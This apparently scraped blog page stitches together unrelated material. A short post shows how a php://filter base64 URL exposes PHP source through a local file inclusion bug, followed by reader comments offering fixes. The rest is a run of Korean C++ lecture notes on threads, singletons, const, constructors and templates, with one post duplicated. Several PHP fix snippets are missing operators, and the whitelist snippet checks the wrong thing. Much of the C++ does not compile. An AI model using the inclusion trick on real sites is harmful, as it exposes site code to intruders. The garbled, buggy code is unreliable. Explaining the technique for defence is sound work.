I came across a website where the site was vulnerable to LFI (local file inclusion) however the inclusion was done using a require_once and the script appended a .php extension to the end of the file; furthermore it was not vulnerable to null byte injection which meant that if I did include a file that:

  1. The file would have to be valid PHP syntax
  2. I would not be able to see anything contained between <? ?> tags
  3. Anything I could include would be executed.
  4. The file would have to end in the PHP extension

I tried to see if I could include remote files by specifying a URL as the parameter, sadlyallow_url_include was turned off so that failed. When I specified a valid PHP page it simply returned the normal page as expected.

The solution that allowed me to view the source of any PHP file was to use the functionphp://filter/convert.base64_encode/resource which has been available since PHP 5.0.0

1http://www.example.com/index.php?m=php://filter/convert.base64-encode/resource=index

This forces PHP to base64 encode the file before it is used in the require statement. From this point its a matter of then decoding the base64 string to obtain the source code for the PHP files. Simple yet effective..


Once you’ve got the source code for one file you can inspect it for further vulnerabilities such as SQL injections and additional PHP files referenced via include or require.

  • delicious
  • digg
  • facebook
  • linkedin
  • reddit
  • stumble
  • tumblr
  • twitter
This entry was posted in PHP and tagged . Bookmark the permalink.

3 Responses to Using php://filter for local file inclusion

  1. JOhn says:

    That’s pretty slick ;)

    I have a feeling that this can be prevented by using basename();

    1<?php
    2if(isset($_GET['m'])){
    3    $file basename($_GET['m']);
    4    require_once '$file';
    5}

    What are your thoughts on that?

    • Phil says:

      If you just use basename the strings going to end up as “resource=index.php”, checking to see if the file exists (using file_exists) is probably a safer method as it will return false for any php://filter files. A quick preg_match couldn’t hurt either…

      1if (preg_match("/^[A-Z0-9]+$/i"$_GET['m'])) {
      2    if (file_exists($_GET['m'])) {
      3        require_once($_GET['m']);
      4    }
      5}
  2. Frost says:

    Why not just have a white list array, even the `$_GET['m']` could produce unwanted results, and better to not leave it up to that.

    1$whiteList array('index' => 'index.php''about' =>'about.php');
    2if (in_array($_GET['m'], $whiteList)) {
    3      require_once($whiteList[$_GET['m']]);
    4}else {
    5      require_once($whiteList['index']);
    6}

    This way, you can easily default it, you know the files that will be included and you leave nothing up to chance. And, if you wanted to, you could name the names of the actual files different to prevent direct access.

Posted by k1rha
2012. 8. 13. 17:48

#include<iostream>


#include<Windows.h>


using namespace std;


// 멀티 쓰레드 프로그램을 C++ 클래스로 래핑해 보자 - 안드로이드 원리 

/*

DWORD __stdcall foo( void *p){

return 0;

}


int main(){

CreateThread(0,0,foo,"A",0,0);

}

*/


class Thread{

public: 

void start(){

CreateThread(0,0, _threadLoop,this,0,0);

}


//아래 함수가 static 일수밖에 없는 이유를 알아야 한다

// C 의 콜백함수의 개념을 클래스화 할 때는 결국 static 함수로 해야한다.

static DWORD __stdcall _threadLoop(void *p){

Thread * pThis = static_cast<Thread *>(p);


pThis -> threadLoop();  //this -> theadLoog()로 변경 될 수 있어야 한다.

return 0;

}

virtual void threadLoop(){}


};

//----------------------------------------------------

// 이제 위 라이브러리 사용자는 Thread 의 자식을 만들어서 threadLoop() 가상함수를 재정의한다.

class MyThread : public Thread{

public :

virtual void threadLoop(){

for(int i=0;i<10;i++){

cout << i << endl;

Sleep(1000);


}

}

};


int main(){


MyThread t;

t.start();

int n;

cin >> n;


}


Posted by k1rha
2012. 8. 13. 17:47

#include<iostream>


#include<Windows.h>


using namespace std;


// 멀티 쓰레드 프로그램을 C++ 클래스로 래핑해 보자 - 안드로이드 원리 

/*

DWORD __stdcall foo( void *p){

return 0;

}


int main(){

CreateThread(0,0,foo,"A",0,0);

}

*/


class Thread{

public: 

void start(){

CreateThread(0,0, _threadLoop,this,0,0);

}


//아래 함수가 static 일수밖에 없는 이유를 알아야 한다

// C 의 콜백함수의 개념을 클래스화 할 때는 결국 static 함수로 해야한다.

static DWORD __stdcall _threadLoop(void *p){

Thread * pThis = static_cast<Thread *>(p);


pThis -> threadLoop();  //this -> theadLoog()로 변경 될 수 있어야 한다.

return 0;

}

virtual void threadLoop(){}


};

//----------------------------------------------------

// 이제 위 라이브러리 사용자는 Thread 의 자식을 만들어서 threadLoop() 가상함수를 재정의한다.

class MyThread : public Thread{

public :

virtual void threadLoop(){

for(int i=0;i<10;i++){

cout << i << endl;

Sleep(1000);


}

}

};


int main(){


MyThread t;

t.start();

int n;

cin >> n;


}


Posted by k1rha
2012. 8. 13. 16:59

#include<iostream>

using namespace std;


//주제 10 싱글톤 디자인 기법

//1. 개념 : 오직 한개만을 만들수 있게 한 디자인

//오직 한개의 객체가 static 메모리에 있다. meyer 의 싱글톤이라고 부름.

/*

class Cursor

{

private:

Cursor(){} //즉 객체를 한개도 만들수 없다!


Cursor(const Cursor &); //복사 생성자 금지


public:

static Cursor & getInstance(){

static Cursor instance;

return instance;

}

};


int main(){

Cursor &c1 = Cursor::getInstance();


Cursor &c2 = Cursor::getInstance();


//Cursor c3= c1;//하지만 복사 생성자가 가능하다 


cout<< &c1 << endl;


}

*/


/*

///힙에서 만드는 싱글 톤  - 안드로이드 버전 

//내가 알고있던 싱글톤

class Cursor

{

private:

Cursor(){} //즉 객체를 한개도 만들수 없다!


Cursor(const Cursor &); //복사 생성자 금지

static Cursor * pInstance ; 

public:

static Cursor & getInstance(){

if(pInstance==0){

pInstance = new Cursor;

}

return *pInstance;

}

};

Cursor * Cursor::pInstance=0;


int main(){

Cursor &c1 = Cursor::getInstance();


Cursor &c2 = Cursor::getInstance();


//Cursor c3= c1;//하지만 복사 생성자가 가능하다 


cout<< &c1 << endl;


}*/

/*

/////////////////////////////////////////

// 싱글톤 여러개를 호출시 메크로로 만들기 

// 에러남 -_- 젠장..

/////////////////////////////////////////

#define DECLARE_SINGLETON(classname) private : classname(){ \

classname(const classname&); \

static classname *pInstance;\

public :\

static classname & getInstance();

#define IMPLEMENT_SINGLETON(classname)\

classname  *classname::pInstance =0;\

classname & classname::getInstance()\

{\

if(pInstance == 0)pInstance = new classname;\

return *pInstance;}



class Keyboard

{

DECLARE_SINGLETON(keyboard);

};

IMPLEMENT_SINGLETON(keyboard);


class Cursor

{

private:

Cursor(){} //즉 객체를 한개도 만들수 없다!


Cursor(const Cursor &); //복사 생성자 금지

static Cursor * pInstance ; 

public:

static Cursor & getInstance(){

if(pInstance==0){

pInstance = new Cursor;

}

return *pInstance;

}

};

Cursor * Cursor::pInstance=0;


int main(){

Cursor &c1 = Cursor::getInstance();


Cursor &c2 = Cursor::getInstance();


//Cursor c3= c1;//하지만 복사 생성자가 가능하다 


cout<< &c1 << endl;


}*/


//안드로이드 싱글톤 사용하기 

template <typename TYPE> class Singleton

{

protected:

Singleton(){} //즉 객체를 한개도 만들수 없다!

private:

Singleton(const Singleton &); //복사 생성자 금지

static TYPE * pInstance ; 

public:

static TYPE& getInstance(){

if(pInstance==0){

pInstance = new TYPE;

}

return *pInstance;

}

};

template<typename TYPE> TYPE * Singleton::pInstance=0;


class keyboard : public Singleton<keyboard>{  //mix in template !!


}



int main(){

keyboard & k = keyboard::getInstance();


}


=========================================== MIX IN template method ====================================

#include<iostream>

using namespace std;


// 문제점! 가상함수의 메모리 낭비가 크다!

/*

class Window{


public : 

void MessageLoop(){


int msg = 1;

switch(msg){

case 1: MouseMove();break; //this->MouseMove();

case 2: KeyDown(); break;

}

}

virtual void MouseMove(){

}

virtual void KeyDown(){}



};

//======================================================

class MyWindow : public Window

{

public :

void MouseMove(){ cout << "ouseMove"<<endl;}


}

int main(){


MyWindow w;

w.MessageLoop();

}

*/

////////////////////////////////////////////////////////////////

//virtual 없이 해결하기  부모는 자식의 이름을 알수는 없지만 템플릿을 사용하면 알수 있따.

///////////////////////////////////////////////////////////////


template<typename T> class Window{


public : 

void MessageLoop(){


int msg = 1;

switch(msg){

case 1: static_cast<T*>(this)->MouseMove();break; //this->MouseMove();

case 2: static_cast<T*>(this)->KeyDown(); break;

}

}

void MouseMove(){

}

void KeyDown(){}



};

//======================================================

class MyWindow : public Window<MyWindow>

{

public :

void MouseMove(){ cout << "ouseMove"<<endl;}


}

int main(){


MyWindow w;

w.MessageLoop();

}




Posted by k1rha
2012. 8. 13. 15:47

#include<iostream>

using namespace std;

/*

//주제 9 상수 함수의 개념 

//1. 개념 : 모든 멤버를 상수 취급하는 함수

//2. 상수 객체는 상수 함수만 호출 할 수 있다.

//


class Point

{

public : 

int x,y;

Point(int a=0,int b=0):x(a),y(b){}


void Set(int a){x=a;}

void print() //const  는 아래 주석때문에라도 꼭 붙여야 한다.


{

//x=10; //error 함수안에서 모든 멤버는 상수이다.

cout << x << ","<<y<<endl;

}

};

int main(){


const Point p(1,2);

//p.x=10; //error 나와야 한다.

//p.Set(20); //error 나와야 한다 

//


//p.print(); //  호출 될 수 있으려면 반드시 print() 는 상수 함수로 해야 한다.


}

*/


//10 Const 와 Const 아닌것의 차이 

// 우리는 상수 객체를 안만듭니다?!  그렇다면 이건 어떠냐!

// 멤버 함수가 data의 값을 변경하지 않는다면 반드시 상수 함수로 해야한다.

//상수 함수는 선택이 아닌 필수이다.

///////////////////////////////////////////////////////////////////


class Rect{

int x,y,w,h;

public :

//int GetArea(){return w*h;}  //Rect 에 const 를 붙이면 반드시 여기도 붙여야 출력이 된다.

int GetArea() const{return w*h;}

};



//void foo( Rect &r){   //이걸 하게되면 객체가 변한다! 헐킈

void foo(const Rect &r){ //그래서 이걸 쓸수 밖에 없다! 그렇다면 getArea도 붙여줄 수 밖에없다.


int n = r.GetArea();

}


int main(){

Rect r;

foo(r);

int n=r.GetArea();

}

=============================================================================================================


#include<iostream>

using namespace std;


//상수함수 2

//1. 논리적 상수성!! (밖에서 보기엔 상수인데 논리적으로 내부 루틴은 상수가 아닌 현상

// 해결책!!

// (A) mutable : 상수 함수 안에서도 값을 변경할 수 있는 멤버 data

// (B) 변하는 것과 변하지 않는 것은 분리해야 한다.

// 변하는 것을 다른 구조체로 뽑아 낸다.


/*

//(A) 클래스 

class Point{


int x,y;

mutable char cache[32];

mutable bool cache_valid;


public :

Point(int a=0,int b=0):x(a),y(b),cache_valid(false){}

//객체를 문자열로 반환하는 함수 - > javam c# 에 있는 개념

char * toString() const

{

//static char s[32]// tjdsmd wjgkfmf dnlgks qkdwl 

//sprintf(s,"%d,%d",x,y);

if(cache_valid ==false){

sprintf(cache,"%d,%d",x,y);

cache_valid = true;

}

return s;

}

};


int main(){

const Point p(1,2);

cout << p.toString()<<endl;

cout << p.toString()<<endl;


}

*/

/*

//(B) 클래스 

//변하는것과 변하지 않는것은 분리 되어야한다.

// 이로써 mutable 을 사용하지 않고

//변하지 않는 변수들은 클래스로 뭉치고 변하는 값들은 구조체포인터로 빠진다. 

struct Cache{

char cache[32];

bool cache_valid;

}



class Point{


int x,y;

Cache * pCache;

public :

Point(int a=0,int b=0):x(a),y(b){

pCache = new Cache;

}

//객체를 문자열로 반환하는 함수 - > javam c# 에 있는 개념

char * toString() const

{

//static char s[32]// tjdsmd wjgkfmf dnlgks qkdwl 

//sprintf(s,"%d,%d",x,y);

if(pCache->cache_valid ==false){

sprintf(pCache->cache,"%d,%d",x,y);

pCache->cache_valid = true;

}

return pCache->cache;

}

};


int main(){

const Point p(1,2);

cout << p.toString()<<endl;

cout << p.toString()<<endl;


}*/



///////// 2. 문법정리 ////////////// 


class Test{

public : 


//동일 이름의 상수, 비상수 함수를 동수에 만들수 있다. 

void foo(){}

void foo() const{}

void goo() const;

};


void Test::goo() const{}  //반드시 붙여야 같은 상수 함수로 인식한다. 



int main()

{

Test t1;

t1.foo(); //1번, 없다면 2번 유드리 있게 변함

const Test t2;

t2.foo(); //2번, 없다면 에러이다. 

}




Posted by k1rha
2012. 8. 13. 15:46

#include<iostream>


using namespace std;


////////////////////////////////////////////////////////////////////////////////

//생성자 정리 1. 

//1. 사용자가 만들지 않으면 컴파일러가 만들어준다.

// 인자가 없고 하는 일이 없는 생성자? (정말 하는 일이 없을까?)

//

//2. 하나의 생성자에서 다른 생성자를 호출 할 수 없다.!!

// C++ 2.0 (C++11 이라고 부름) 에서는 위임생성자라는 문법으로 가능함 

//

//3. 생성자는 명시적으로 호출할수 없다! . 다만 placement new를 사용하여 가능하다.

//4. 소멸자는 명시적으로 호출할수 있다. 왜필요할까?! (수요일쯤강의..)

////////////////////////////////////////////////////////////////////////////////

/*

class Point{

int x;

int y;


public :

Point() {x=0;y=0;}

Point(int a, int b) {x=a;y=b;}

}



int main(){


Point p1;

Point p2(1,2);


}*/



//3//

////////////////////////////////////////////////////////

class Point{

int x;

int y;


public :

Point() {cout << "생성자 " <<endl;}

~Point() {cout<<" 소멸자 "<<endl;}

};


int main(){



Point p;

//p.Point();  // Error !!  생성자를 명시적으로 호출 할 수 없다.

new (&p) Point; // 생성자를 명시적으로 호출하는 기술!  

//AKA  :  Placement new 라는 기술 입니다.

p.~Point(); // 된다!! 소멸자는 명시적으로 호출 할 수 있다.


}



//5. 객체 멤버의 생성자가 먼저호출되고 객체 자신의 생성자가 호출된다.




class Point{

int x;

int y;


public :

Point() {cout << "생성자 " <<endl;}

~Point() {cout<<" 소멸자 "<<endl;}

};


class Rect{

Point p1;

Point p2;

public :

Rect(){cout << "Rect()" << endl;}

};

int main(){

Rect r; //결과를 예측해봅시당

}





==================================================================================================

#include<iostream>

using namespace std;


///////////////////////////////////////////////////////////////////////////////////////

// 주제 8. 초기화 리스트

//1. 개념 : 생성자 뒤에 : 을 적고 멤버를 초기화 하는 것.

//2. 장점 : 대입이 아니라 진짜 초기화이다. 객체 형 멤버가 있다면 초기화 속도가 빨라진다.

//3. 꼭 필요할때가 있다.

//////////////////////////////////////////////////////////////////////////////////////

/*

class Point {


int x;

int y;


public : 

Point(int a =0, int b=0) : x(a),y(b) //여긴 초기화

{

//x=a; // 여긴 대입

//y=b;

}

};


int main(){

Point p(1,2);


// Object a = 0; // 초기화

// Object b; 

// b=0; // 대입



}

*/

/*

//반드시 초기화 리스트로 해야 하는경우! 

//(A) 클래스 내부에 const 나 참조 멤버가 있다면 초기화 리스트로 반드시 초기화 해야 한다.


class Point {


int x;

int y; 

//int y=0; ////이때는 초기화가 안된다 왜냐하면 객체가 아직 생성되지 않았기 떄문에 메모리를 잡지 않았기 때문이다.


const int c;//단 반드시 초기화 리스트로 초기화 해야한다.

//const int c=0; // error 이다   때문에 생성자 안에서 대입연산으로 초기화 해주는것도 불가능하다. 반드시 초기화리스트를사용!



public : 

Point(int a =0, int b=0) : x(a),y(b),c(0) //여긴 초기화

{

//x=a; // 여긴 대입

//y=b;

}

};


int main(){


//const int c; //error 반드시 초기화가 필요하다.

//


}*/


//(B) 디폴트 생성자가 없는 멤버를 객체로 가질떄 초기화 리스트에서 특정 생성자를 명시적으로 호출해야 한다.


class Point {


int x;

int y; 


public : 

Point(int a, int b){}//여긴 초기화

};


class Rect{

Point p1;

Point p2;

public: Rect(): p1(0,0),p2(0,0){}



};

int main(){


Rect r;

}






Posted by k1rha
2012. 8. 13. 14:44

#include<iostream>

using namespace std;

/*

//버전 1. C 버전

//버전 1의 문제점 : stack 이 2개가 필요하다면?!  모든게 2개여야한다.

int buff[10];

int index = -1;


void push(int a) { buff[++index]=a;}

int pop() {return buff[index--];}


int main(){



push(10);

cout << pop()<<endl;


}

*/

/*

//버전 2  2개이상의 스택을 고려

//버전 2의 문제점!  : 보기에 복잡하다! 타입을 만들어 줘야한다

void push ( int * buff, int *index , int a){


buff[++(*index)]=a;


}

int main(){

int buff1[10], index1;

int buff2[10], index2;

push(buff2, &index1, 10);


}

*/


//버전 3 구조체로 스택을 구현! Main 함수가 깔끔해졌다!

/*

struct stack{


int buff[10];

int index;

};


void init(stack *s){s->index = -1 ; } 

void push(stack *s , int a){ s->buff[++(s->index)]=a;}

int main(){


stack s1, s2;

init(&s1);

push (&s1,10);



}

*/

/*

//버전 4 상태를 나타내는 data 와 상태를 조작하는 함수를 묶자!

// 버전 4의 문제점! 잘못사용했을 시?!  문제가 생긴다 main 함수에 s1.idex=100 이라고 입력하면 스택이 깨져버린다.

//

struct stack{

int buff[10];

int index;


void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


};


int main(){


stack s1,s2;

s1.init();

s1.push(20);

cout << s1.pop()<<endl;



}


*/

/*

//버전 5 외부의 잘못된 사용으로 부터 객체가 불안해 지는 것을 막는 방법!

// 접근지정자의 도입!!

// 객체지향의 3대 원칙중하나인 캡슐화이다.


struct stack{

private:

int buff[10];

int index;

public:

void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


};


int main(){


stack s1,s2;

s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}

*/


/*


//버전 6 객체의 초기화를 자동으로 하자! 

//생성자의 도입

//struct 는 디폴트 접근 지정자가 public 이고 

//class 는 디폴트 접근 지정자가 private 이다.


struct stack{

private:

int buff[10];

int index;

public:

stack() {index=-1;}

void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


};


int main(){


stack s1,s2;

//s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}



*/

/*

//버전 7 내부 버퍼의 크기는 사용자가 결정하는 것이 좋다.

// 동적 메모리 할당의 도입..

class stack{

private:

int * buff;

int index;

public:

stack( int sz = 10)

{

index=-1;

buff = new int[sz];

}

void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


};


int main(){


stack s1(100);

//s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}

*/

/*

//버전 8 동적 할당하고나니 메모리 해지가 필요하다?! 

// 소멸자의 도입 

class stack{

private:

int * buff;

int index;

public:

stack( int sz = 10)

{

index=-1;

buff = new int[sz];

}

void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


~stack(){

delete[]buff;

}

};


int main(){


stack s1(100);

//s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}

*/

/*


//버전 9 다양한 type의 Stack 을 자동 생성되게 하자! 

// template 도입!!


template<typename T> class stack

{

T *buff;

int index;


private:

int * buff;

int index;

public:

stack( int sz = 10)

{

index=-1;

buff = new int[sz];

}

void init() {index=-1;}

void push(T a) {buff[++index]=a;}

T pop() {return buff[index--];}


~stack(){

delete[]buff;

}

};


int main(){


stack<int> s1(100);

//s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}

*/



/*

//버전 9 좀더 객체화시키고 역할을 쪼갠다. 

template<typename T> class stack

{

T *buff;

int index;


private:

int * buff;

int index;

public:

stack( int sz = 10)

{

index=-1;

buff = new int[sz];

}

void init() {index=-1;}



void push(const T& a) {buff[++index]=a;}


//pop 이 제거와 리턴을 동시에 하면 절대 최적화 할수 없다. 분리하자!!

//T pop() {return buff[index--];}


//제거만하는 함수

void pop(){ --index;}

//리턴만 하는 함수

T &top() {return buff[index];}

//하나의 함수는 한가지 일만 할떄가 좋다.


~stack(){

delete[]buff;

}

};


int main(){


stack<int> s1(100);

//s1.init();

s1.push(10);

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.top()<<endl;

s1.pop();

cout << s1.top()<<endl;

s1.pop();



}

*/


//버젼 10 이미 있다!!

#include<stack>  //C++ 표준인 STL의 STACK 클래스


int main(){


stack<int> s;

s.push(10);

s.push(20);


cout << s.top() << endl;

s.pop();

cout<<s.top() << endl;

s.pop();


}

//버젼 11 숙제!! 배열로 스택을 구현하면 미리 할당을 해줘야한다! 

//버전 10의 내부 구조를 싱글 링크드 리스트로 변경해보기


Posted by k1rha
2012. 8. 13. 14:04

#include<iostream>

using namespace std;

////////////////////////////////////////////////////////////////////////////

//주제 5. 참조 변수 이야기

//1. 개념 : 기존 메모리의 별명 

//2. 

////////////////////////////////////////////////////////////////////////////

int main(){


int n=10; //메모리 할당

int *p = &n; 

int &r = n;


r = 20;

cout << n << endl;


//int &r2; // error 반드시 초기값이 필요하다. 

int *& pr = p;  //포린터의 별명  오~케이

//int &* rp = &r; //error 별명의 주소 번지  에러에러 

int (&f)() = main; //함수의 별명 

int & r3 = 10;  //에러 참조변수를 강제로 지정해줄수는 없다.

const int & r4=10; // 상수는 상수에 넣을수 있다.

//int && r5 = 10;// 상수를 참조하는 문법 C++ 2.0에 등장



}


==========================================================================================

#include<iostream>


using namespace std;


///////////////////////////////////////////////////////////////////////////////////////////

//참조변수와 함수 인자 이야기

//1. 어떤 함수가 인자의 값을 변경한다면 포인터나 참조 모두 좋지만 포인터가 가독성 측면에서는 좋다.

//2. 어떤 함수가 인자의 값을 변경하지 않는다면 

//(A) built in type : call by value 가 더 좋다. foo(int)  //

//(B) User Define Type  : call by reference 가 좋다. foo(const Data&)

//

//

//////////////////////////////////////////////////////////////////////////////////////////


/*

//어떤 코드가 더좋을까? 

void foo(int a){} //1

void foo(const int &a){} //2

*/


/*

void inc1(int n){++n;}

void inc2(int *p){++(*p);}

void inc3(int &r){++r;}


int main(){


int a = 1, b=1, c=1;

inc1(a); //실패  - call by value

inc2(&b); // 성공 - call by point 

inc3(c); //성공 call  by reference 



cout << a << endl;

cout << b << endl;

cout << c << endl;


}*/

struct Data{

int data;

};


void foo(const Data & x) // call by value 는 인자값을 변경하지 않을것이라는 약속이다.

{ //하지만 메모리 사용량이 2배가 된다. 

//되도록이면 const & 를 사용하자!

x=10;

}

int main(){


Data a = 0; 



int a =10;

foo(a); //이 함수는 절대 a 의 값을 변경하면 안된다.

cout << a<<endl; // a= 0이 나와야 한다.



}


==============================================================================================
#include<iostream>
using namespace std;
/////////////////////////////////////////////////////////////////////////////////////////
// 1. built in type ( int foo()) : 상수 리턴
// 2. User Define type(Point foo()): 임시객체 (상수는 아니다.)
// 
// 함수가 참조로 리턴하는 이유 
// 1. built in type(int &foo()) : 함수 호출을 l value 에 놓고 싶다. foo() = 20
//
// 2. User Define Type( Point & foo()) : 임시 객체를 만들지 말라는 의미!!
//
///////////////////////////////////////////////////////////////////////////////////////////

struct Point{
int x;
int y;
};

Point p = {1,2};
/*
Point foo(){

return p;

}
*/
Point & foo(){
return p;
}

int main(){


foo().x = 10;  //구조체 자체를 리턴하기떄문에 가능하다.
cout << p.x << endl; // 하지만 10 이 나오진 않는다.  1이 나온다. why?!
//복사생성자를 통해서 구조체를 리턴하기 떄문이다.  즉 foo().x 는 임시객체에 들어가게 된다.
//왜냐하면 임시객체가 없으면 지역변수 구조체를 리턴할 수 없다. 
//이를 해결하기 위해서는 Point foo()를 아래와 같이 수정한다.
//


}

Posted by k1rha
2012. 8. 13. 11:49

#include<iostream>

using namespace std;

//////////////////////////////////////////////////////////////////////////////////////

//주제 4 C++ Explicit cast

//1. C 의 캐스팅은 너무 위험하다 (Unresonable , 비이상적이다)

//2. 그래서 C++ 은 4가지 캐스팅 연산자를 따로 만들었다

//(A) static_cast : 이성적인 것만 허용

//(B) reinterpret_cast : 메모리 재해석 - 거의 성공 

//(C) const_cast : 객체의 상수 제거

//(D) dynamic_cast : RTTI 기술 

////////////////////////////////////////////////////////////////////////////////////////


int main(){


double d = 3.4;

int n =d;    //date 손실이 발생하지만 암시적 변환이 허용된다. 

int n = static_cast<int>(d); //<OK 허용!> 


double * p =(double *)&n; // ㅏㅁ시적은 안되지만 명시적 캐스팅은 된다.

//double * p =static_cast<double *>(&n); //Error !!  그래도 꼭 쓰고싶어? 그럼 아래 껄로!

double * p =reinterpret_cast<double *>(&n); //Error !! 


const int c= 0;

//int *p2 =  (int *) &c; //  상수의 포인터를 비상수 포인터로 가리킬수 없다. 하지만 명시적은  된다!?!;; 완전 불안하다.

//int *p2 =  static_cast<int *> (&c); // 안된다! 그래도 해보고싶다? 

//int *p2 =  reinterpret_cast<int *> (&c); // 안된다! 상수는 바꿀수 없다

int *p2 = const_cast<int *>(&c); // 원본이 read 만 가능한 const 일때는 const_cast 라 하더라도 절대 값을 바꾸지는 말자.


*p2 = 10 ;


cout << c <<endl; // 하지만 결과는 0이다! const 를 가리키는 포인터는 혼란을 초래할 뿐이다. 



}


Posted by k1rha
2012. 8. 13. 11:31

#include<iostream>

using namespace std;


//주제 3 . 함수 템플릿 

//1. 메크로를 사용한 코드 생성 - 전처리기가 코드 생성을 한다.

// 전처리기는 사용자가 사용하는 타입을 모른다. 그래서 사용전에는 꼭 MAKE_MAX(필요한 타입)으로 선언해야 한다.

// 2 컴파일러를 사용한 코드 생성 - template 

/*

int Max(int a, int b){

return a < b ? b : a;

}

double Max(double a, double b){

return a < b ? b : a;


}

*/


//동일한 코드가 반복된다면 코드 생성기를 사용하자.

//#define MAKE_MAX(T) T MAX(T a, T b){return a< b ? b:a;}

//MAKE_MAX(int)

//MAKE_MAX(double)

// 함수 템플릿? 템플릿 함수?   함수 템플릿으로 쓰자!



// 2 컴파일러를 사용한 코드 생성 - template 

// 인스턴스화 : 템플릿이 타입이 결정되어서 진짜 함수 /클래스를 만드는 과정.

// 암시적 인스턴스화 : T를 컴파일러가 결정 

// 명시적 인스턴스화 : T를 사용자가 결정! 


template<typename T> T Max(T a, T b){return a< b ? b: a;}




int main(){


Max(1,2);  //int Max(int, int ) 를 생성하는 효과를 가져온다

Max(1.1, 2.2); // double Max(double, double) 를 생성하는 효과를 가져온다.


// Max(65,'B'); //error! 

Max<int>(65,'B'); // ok 사용자가 직접 T의 타입을 지정





}

Posted by k1rha
2012. 8. 13. 11:31

///////////////////////////////////////////////////////////////////////////////////////

//주제 2. 인라인 함수  -  약간은 어려운 이야기

//1. 함수 호출의 원리 : 마지막 인자 부터 스텍에 넣고 함수로 jmp

//2. 인라인 함수 개념 : 진짜 호출이 아니라 함수 기계어 코드를 통째로 치환

//3. 장점 : 속도가 빠르다.

//4. 단점 : a목적 코드의 크기가 커진다?!  -> 오히려 간단한 함수에서는 줄어든다.

//

//////////////////////////////////////////////////////////////////////////////////////

========================= 인라인 함수 1.cpp =========================================

int Add(int a,int b){return a+b;}

inline int Add2(int a, int b){return a+b;}

int main(){

int m1 = Add(1,2); //push 2

//push 1

//call ?Add@@xxxxxx


int m2 = Add2(1,2);



return 0;

}



==================================================================================


=========================== 인라인 함수2.cpp ====================================


//인라인 함수2.cpp

int Add1( int a, int b);

inline int Add2( int a, int b);


int main(){

Add1(1,2);

Add2(1,2);



}


int Add1(int a, int b){return a+b;}

inline int Add2(int a, int b){return a+b;}


//=======================================================================================

//////////////////////////////////////////////////////////////////////////////////////////

//빌드하면 에러가 나옴 Why?

// internal linkage(내부연결) : 임의의 심볼이 (변수, 함수이름) 자신을 선언한 컴파일단위(같은파일)에서만 사용 가능

// ex)static 전역변수, 인라인 함수 , template , 매크로,

// internal linkage 는 헤더에 포함되게 만든다!

//

// externeal linkage*외부연결) : 임의의 심볼이 프로젝트 내의 모든 컴파일 단위에서 사용 가능

// ex) 전역변수, 일반함수, 

//

// const  는 C에서는 external  이고 C++ 에서는 internal 이다. 

//

// 어셈블리 단에서 보면 일반 함수는 call 을 위해 그 메모리주소값을 비워두고 실행시에 그 주소를 참조한다.

// 하지만 inline 은 컴파일시 그 부분을 전부다 기계어로 올려놓고 그 주소를 참조한다.

//

//////////////////////////////////////////////////////////////////////////////////////////



/////////////////////////////////////////////////////////////////

//인라인 함수와 함수포인터 - 중요하고 어렵습니다.

//1. 인라인 함수는 컴파일 시간 문법이다.

//2. 함수는 자신만의 타입이 없다!! singnature 가 동일한 모든 함수는 같은 타입이다.

//3. 함수 포인터를 사용해서 호출하는 경우 대부분의 컴파일러는 인라인 치환을 할 수 없다.

//4. 왜 중요한가? 라이브러리 설계자 입장을 생각해 보자.

// 라이브러리 개발자는?!

//(A)  성능! - 빨라야 한다!

//(B) 유연성!  - 유연성이 있어야 한다.

// 변하지 않는 전체 알고리즘과 변해야하는 정책은 분리하는 것이 좋다. (오른차순 내림차순 )

// C 에서는 변하는 것을 함수 인자화 하면 된다.

//

// 컴파일 상에서 알아서 처리 해준다!!!

////////////////////////////////////////////////////////////////////

/*

void foo(){}

inline void goo(){}

int main(){


foo();

goo();



void(*f)();

int n;

cin >> n;

if(n==0)f=&foo;

else f=&foo;

f();


}

*/


//4

void Sort(int *x , int n, int( *cmp)(int,int)){ //qsort() 라면?!

for(int i =0; i<n-1;i++){

for(int j=i+1;j<n;j++){

if(cmp(x[i]>x[j])>0)swap(x[i],x[j]);

}

}

}

//inline int cmp1(int a, int b){return a-b;} //인라인 함수는 함수 포인터로 호출이 불가능하다. /

//inline int cmp2(int a, int b){return b-a;} 


int cmp1(int a, int b){return a-b;} 

int cmp2(int a, int b){return b-a;}


int main(){

int x[10] = {1,3,5,7,9,11,2,4,6,8};

Sort ( x, 10,cmp1);

}



Posted by k1rha
2012. 8. 13. 10:14

[SSM 안드로이드 프레임워크 만들기 강의]

===========================================================

Inside 안드로이드 8장 <-- 강의내용에 도움될만한 서적 


월 : C++ 고급문법

화 : 각종 테크닉 -> 스마트 포인터, 참조계수, 함수객체 등..

수 : 안드로이드가 사용하는 각종 디자인 기법

목 : Generic 프로그램

금 : 안드로이드 프레임워크 구현



===========================================================


JNI는 JAVA와 디바이스간의 프로세스 통신이다. 




===========================================================

//#include <iostream>

//using namespace std;


////////////////////////////////////////////////////////////////////////////////////////

//1. 개념 : 인자의 갯수나 타입이 다르면 동일 이름의 함수를 2개이상 만들 수 있다.

//2. 장점 : 일관된 라이브러리를 구축 하기가 쉽다.(C를 제외한 대부분의 언어가 지원된다)

//3. 원리 : name mangling - 컴파일러가 오버라이딩을 지원하기 위해 함수 이름을 변경하는 현상.

//4. cl 소스이름.cpp /FAs 로 어셈 코드를 만들 수 있다.

//5. c와의 호환성 문제.. 헤더 작업시 조건부 컴파일 필요

//6. 함수 오버로딩은 1. 컴파일 시간 문법이다. --실행시 성능에는 문제가 없다. (단 컴파일시간이 더걸린다)

//7. 

/////////////////////////////////////////////////////////////////////////////////////////


